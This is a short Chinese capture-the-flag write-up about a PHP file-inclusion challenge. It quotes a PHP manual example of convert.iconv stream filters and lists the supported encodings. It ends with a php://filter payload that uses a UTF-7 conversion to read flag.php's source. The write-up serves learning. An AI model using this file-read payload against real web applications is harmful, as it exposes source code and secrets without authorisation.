题目

过程
######阴间做题
纯脑洞题，就看谁能搜的到。
1.文件包含，php伪协议
2.需要读php文件，以前觉得：后端语言没法直接显示到前端，必须用base64转码
是我浅薄了
Example #3 convert.iconv.*

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>

支持的字符编码有一下几种（详细参考官方手册）

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

使用utf-7！！！！！
payload：?filename=php://filter/convert.iconv.utf-8.utf-7/resource=./flag.php
详情参考：
https://www.cnblogs.com/linuxsec/articles/12684259.html